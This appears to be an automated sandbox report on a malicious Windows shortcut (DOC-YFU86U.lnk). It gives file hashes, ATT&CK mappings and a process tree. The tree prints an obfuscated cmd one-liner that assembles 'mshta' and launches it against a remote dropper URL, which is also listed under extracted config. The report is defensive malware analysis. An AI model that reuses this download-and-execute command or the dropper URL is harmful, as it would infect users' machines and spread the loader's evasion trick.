e164f1ef7d4145d31de1f38b061ea7e33091aa96a75e465397779ba9db062981

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:52

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General

Target
DOC-YFU86U.lnk
Size 1KB
Sample260803-p343pabl7w
SHA256 e164f1ef7d4145d31de1f38b061ea7e33091aa96a75e465397779ba9db062981
MD5 affa42c68425deed6e5d5c1ebf216ebc
SHA1 eff721dcea30e55e79ec8ef4ea3c3c1b60e0bf6e
SHA512 6af4980c9b240fd09ff8529998e3cc0cc296be0f95a8eac4313e1f640f2926bec48c65f153c261d3e16413b3f29122fedeac8fc241b12cd571e82a22e947ff9c
TLSH
T1993197102EFA0614F3F38F7784BB571088BAB8A68E24D62E0041460C1032A00E17BFBB
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1672	cmd.exe
5108	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 5108	1672	cmd.exe	90
PID 5108 wrote to memory of 3848	5108	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-YFU86U.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1672
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set nFnzQ=msh&&set iQR=ta&&start "" !nFnzQ!!iQR! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5108
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:3848

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads